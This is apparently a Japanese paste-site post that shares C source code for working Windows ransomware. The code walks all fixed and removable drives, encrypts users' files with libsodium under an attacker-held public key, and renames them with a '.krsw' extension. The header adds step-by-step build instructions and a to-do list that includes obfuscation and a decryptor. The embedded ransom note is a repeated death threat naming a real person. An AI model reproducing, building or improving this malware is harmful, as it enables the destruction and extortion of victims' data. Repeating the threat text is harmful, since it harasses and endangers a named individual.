カランサムウェアのソースコード

@krnsmwr / 更新: 2026/01/16 11:51

実際に動くやつ。リングバッファとロックフリーのマルチスレッドでこれが一番速いと思います。

多分部分的な暗号化とチャンク、ハードウェアアクセラレーション使ったほうが速いと思うんだけどどう、(実装)出そう?

TEXT 10.5KB
6
  1. /*
  2. 恒心教徒用カランサムウェア alpha.0.1.0
  3. ToDo:
  4. - 脅迫文を配置する
  5. - decryptor作る
  6. - 二重暗号化(破損する)の対策を拡張子以外で行う
  7. - WinAPIの手動解決
  8. - 難読化
  9. ビルド方法
  10. VMを用意する
  11. 以下からMSVCのビルドツールをインストール
  12. https://visualstudio.microsoft.com/downloads/?q=build+tools
  13. 以下からlibsodium(暗号ライブラリ)をダウンロード、Cドライブに展開
  14. https://download.libsodium.org/libsodium/releases/
  15. -msvc.zipの最新版を取ってくること
  16. libsodiumは以下の形で展開
  17. C:\libsodium
  18. \include\sodium.h
  19. \lib\x64\Release\v143\static\libsodium.lib
  20. 重要なのはsodium.hとlibsodium.lib
  21. FIXME以下のコードをアンコメント
  22. このファイルのある場所でVisual Studio Developer Consoleを開く
  23. cl /std:c11 /O2 /MT main.c /I"C:\libsodium\include" /link /LIBPATH:"C:\libsodium\lib\x64\Release\v143\static" libsodium.lib libcmt.lib libvcruntime.lib libucrt.lib
  24. を実行
  25. 多分ビルドできる
  26. 改造したいときは下の
  27. EXTENTIONで暗号化後の拡張子変更
  28. RANSOM_NOTEで脅迫文変更(改行は\n)
  29. PUBLIC_KEYに新しく作ったECC公開鍵を入れる(32バイト)
  30. */
  31. #define EXTENTION L".krsw"
  32. static const unsigned char RANSOM_NOTE[] =
  33. "唐澤貴洋殺す\n"
  34. "何が何でも殺す\n"
  35. "ナイフで滅多刺しにして殺す\n";
  36. #include <sodium.h>
  37. static const unsigned char PUBLIC_KEY[crypto_scalarmult_BYTES] = {
  38. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  39. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  40. 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00,
  41. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
  42. };
  43. #define _CRT_SECURE_NO_WARNINGS
  44. #include <windows.h>
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <stdbool.h>
  48. #define MAX_PATH_LEN 32768
  49. #define BUFFER_SIZE 1024
  50. #define MAX_FILE_SIZE (100 * 1024 * 1024)
  51. #define STACK_SIZE (8 * 1024 * 1024)
  52. static const size_t RANSOM_SIZE = sizeof(RANSOM_NOTE) - 1;
  53. unsigned char SHARED_KEY[crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
  54. unsigned char VICTIM_PUBLIC_KEY[crypto_scalarmult_BYTES];
  55. struct RingBuffer {
  56. wchar_t paths[BUFFER_SIZE][MAX_PATH_LEN];
  57. volatile LONG64 head;
  58. volatile LONG64 tail;
  59. volatile LONG64 count;
  60. volatile LONG finished;
  61. };
  62. void buffer_init(struct RingBuffer* buf) {
  63. buf->head = buf->tail = buf->count = buf->finished = 0;
  64. }
  65. bool buffer_push(struct RingBuffer* buf, const wchar_t* path) {
  66. if (InterlockedCompareExchange64(&buf->count, 0, 0) >= BUFFER_SIZE) {
  67. return false;
  68. }
  69. LONG64 head, next;
  70. do {
  71. head = InterlockedCompareExchange64(&buf->head, 0, 0);
  72. next = (head + 1) % BUFFER_SIZE;
  73. } while (InterlockedCompareExchange64(&buf->head, next, head) != head);
  74. wcsncpy(buf->paths[head], path, MAX_PATH_LEN - 1);
  75. buf->paths[head][MAX_PATH_LEN - 1] = L'\0';
  76. InterlockedIncrement64(&buf->count);
  77. return true;
  78. }
  79. bool buffer_pop(struct RingBuffer* buf, wchar_t* path) {
  80. if (InterlockedCompareExchange64(&buf->count, 0, 0) == 0) {
  81. return false;
  82. }
  83. LONG64 tail, next;
  84. do {
  85. tail = InterlockedCompareExchange64(&buf->tail, 0, 0);
  86. next = (tail + 1) % BUFFER_SIZE;
  87. } while (InterlockedCompareExchange64(&buf->tail, next, tail) != tail);
  88. wcsncpy(path, buf->paths[tail], MAX_PATH_LEN);
  89. InterlockedDecrement64(&buf->count);
  90. return true;
  91. }
  92. bool buffer_is_done(struct RingBuffer* buf) {
  93. return InterlockedCompareExchange(&buf->finished, 0, 0) &&
  94. InterlockedCompareExchange64(&buf->count, 0, 0) == 0;
  95. }
  96. bool should_skip_directory_w(const wchar_t* path) {
  97. static const wchar_t* patterns[] = {
  98. L"Windows",
  99. L"Program Files",
  100. L"Program Files (x86)",
  101. L"ProgramData",
  102. L"All Users"
  103. L"$Recycle.Bin",
  104. L"System Volume Information",
  105. L"Recovery",
  106. L"Boot",
  107. L"EFI",
  108. L"AppData",
  109. NULL
  110. };
  111. for (int i = 0; patterns[i]; i++) {
  112. if (wcsstr(path, patterns[i])) return true;
  113. }
  114. return false;
  115. }
  116. bool should_skip_file_w(const wchar_t* path) {
  117. static const wchar_t* exts[] = {
  118. EXTENTION,
  119. L".exe", L".dll", L".sys", L".efi", L".drv", L".ocx", L".scr", L".cpl",
  120. L".msi", L".msp", L".msu", L".cab", L".inf", L".cat", L".mui",
  121. L".ini", L".cfg", L".config", L".dat", NULL
  122. };
  123. static const wchar_t* files[] = {
  124. L"HOW_TO_RECOVER_MY_FILES.txt",
  125. L"bootmgr",
  126. L"NTLDR",
  127. L"boot.ini",
  128. L"ntoskrnl.exe",
  129. L"bootsect.bak", NULL
  130. };
  131. wchar_t* ext = wcsrchr(path, L'.');
  132. if (ext) {
  133. for (int i = 0; exts[i]; i++) {
  134. if (_wcsicmp(ext, exts[i]) == 0) return true;
  135. }
  136. }
  137. wchar_t* filename = wcsrchr(path, L'\\');
  138. filename = filename ? filename + 1 : (wchar_t*)path;
  139. for (int i = 0; files[i]; i++) {
  140. if (_wcsicmp(filename, files[i]) == 0) {
  141. return true;
  142. }
  143. }
  144. return false;
  145. }
  146. void enumerate_directory(struct RingBuffer* buf, const wchar_t* path, int depth) {
  147. if (depth > 50 || should_skip_directory_w(path)) {
  148. return;
  149. }
  150. wchar_t *search = malloc(MAX_PATH_LEN * sizeof(wchar_t));
  151. wchar_t *full = malloc(MAX_PATH_LEN * sizeof(wchar_t));
  152. if (!search || !full) {
  153. free(search); free(full);
  154. return;
  155. }
  156. if (swprintf(search, MAX_PATH_LEN, L"%s\\*", path) < 0) {
  157. goto cleanup;
  158. }
  159. WIN32_FIND_DATAW fd;
  160. HANDLE h = FindFirstFileW(search, &fd);
  161. if (h == INVALID_HANDLE_VALUE) goto cleanup;
  162. do {
  163. if (!wcscmp(fd.cFileName, L".") || !wcscmp(fd.cFileName, L"..")) {
  164. continue;
  165. }
  166. if (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {
  167. continue;
  168. }
  169. if (swprintf(full, MAX_PATH_LEN, L"%s\\%s", path, fd.cFileName) < 0) {
  170. continue;
  171. }
  172. if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  173. if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) && !should_skip_directory_w(full)) {
  174. enumerate_directory(buf, full, depth + 1);
  175. }
  176. } else {
  177. if (!should_skip_file_w(full)) {
  178. while (!buffer_push(buf, full)) Sleep(1);
  179. }
  180. }
  181. } while (FindNextFileW(h, &fd));
  182. FindClose(h);
  183. cleanup:
  184. free(search); free(full);
  185. }
  186. DWORD WINAPI enumerate_thread(LPVOID param) {
  187. struct RingBuffer* buf = param;
  188. DWORD drives = GetLogicalDrives();
  189. for (int i = 0; i < 26; i++) {
  190. if (drives & (1 << i)) {
  191. wchar_t drive[4];
  192. swprintf(drive, 4, L"%c:\\", L'A' + i);
  193. UINT type = GetDriveTypeW(drive);
  194. if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
  195. enumerate_directory(buf, drive, 0);
  196. }
  197. }
  198. }
  199. InterlockedExchange(&buf->finished, 1);
  200. return 0;
  201. }
  202. void encrypt_file(const wchar_t* wpath) {
  203. if (should_skip_file_w(wpath)) {
  204. return;
  205. }
  206. char path[MAX_PATH_LEN];
  207. if (!WideCharToMultiByte(CP_UTF8, 0, wpath, -1, path, MAX_PATH_LEN, NULL, NULL)) {
  208. return;
  209. }
  210. FILE* f = fopen(path, "rb");
  211. if (!f) {
  212. return;
  213. }
  214. fseek(f, 0, SEEK_END);
  215. long size = ftell(f);
  216. fseek(f, 0, SEEK_SET);
  217. if (size <= 0 || size > MAX_FILE_SIZE) {
  218. fclose(f);
  219. return;
  220. }
  221. unsigned char *plain = malloc(size);
  222. unsigned char *cipher = malloc(size + crypto_aead_xchacha20poly1305_ietf_ABYTES);
  223. if (!plain || !cipher) {
  224. free(plain); free(cipher);
  225. fclose(f);
  226. return;
  227. }
  228. if (fread(plain, 1, size, f) != size) {
  229. free(plain); free(cipher);
  230. fclose(f);
  231. return;
  232. }
  233. fclose(f);
  234. unsigned char nonce[crypto_aead_xchacha20poly1305_ietf_NPUBBYTES];
  235. randombytes_buf(nonce, sizeof(nonce));
  236. unsigned long long clen;
  237. crypto_aead_xchacha20poly1305_ietf_encrypt(cipher, &clen, plain, size, NULL, 0, NULL, nonce, SHARED_KEY);
  238. unsigned char ekey[crypto_box_SEALBYTES + crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
  239. crypto_box_seal(ekey, SHARED_KEY, sizeof(SHARED_KEY), PUBLIC_KEY);
  240. f = fopen(path, "wb");
  241. if (f) {
  242. fwrite(cipher, 1, clen, f);
  243. fwrite(nonce, 1, sizeof(nonce), f);
  244. fwrite(VICTIM_PUBLIC_KEY, 1, crypto_scalarmult_BYTES, f);
  245. fwrite(ekey, 1, sizeof(ekey), f);
  246. fclose(f);
  247. wchar_t enc[MAX_PATH_LEN];
  248. swprintf(enc, MAX_PATH_LEN, L"%s%s", wpath, EXTENTION);
  249. MoveFileW(wpath, enc);
  250. }
  251. free(plain); free(cipher);
  252. }
  253. DWORD WINAPI encrypt_thread(LPVOID param) {
  254. struct RingBuffer* buf = param;
  255. wchar_t path[MAX_PATH_LEN];
  256. while (1) {
  257. if (buffer_pop(buf, path)) {
  258. encrypt_file(path);
  259. } else if (buffer_is_done(buf)) {
  260. break;
  261. } else {
  262. Sleep(1);
  263. }
  264. }
  265. return 0;
  266. }
  267. int main(void) {
  268. if (sodium_init() < 0) return 1;
  269. unsigned char secret[crypto_scalarmult_BYTES];
  270. randombytes_buf(secret, sizeof(secret));
  271. crypto_scalarmult_base(VICTIM_PUBLIC_KEY, secret);
  272. unsigned char shared[crypto_scalarmult_BYTES];
  273. if (crypto_scalarmult(shared, secret, PUBLIC_KEY) != 0) return 1;
  274. crypto_generichash(SHARED_KEY, sizeof(SHARED_KEY), shared, sizeof(shared), NULL, 0);
  275. SYSTEM_INFO si;
  276. GetSystemInfo(&si);
  277. struct RingBuffer* buf = malloc(sizeof(struct RingBuffer));
  278. if (!buf) {
  279. return 1;
  280. }
  281. buffer_init(buf);
  282. HANDLE et = CreateThread(NULL, STACK_SIZE, enumerate_thread, buf, 0, NULL);
  283. if (!et) {
  284. free(buf);
  285. return 1;
  286. }
  287. HANDLE* ht = malloc(sizeof(HANDLE) * si.dwNumberOfProcessors);
  288. if (!ht) {
  289. CloseHandle(et);
  290. free(buf);
  291. return 1;
  292. }
  293. for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
  294. ht[i] = CreateThread(NULL, 0, encrypt_thread, buf, 0, NULL);
  295. }
  296. WaitForMultipleObjects(si.dwNumberOfProcessors, ht, TRUE, INFINITE);
  297. WaitForSingleObject(et, INFINITE);
  298. CloseHandle(et);
  299. for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
  300. CloseHandle(ht[i]);
  301. }
  302. free(ht);
  303. free(buf);
  304. return 0;
  305. }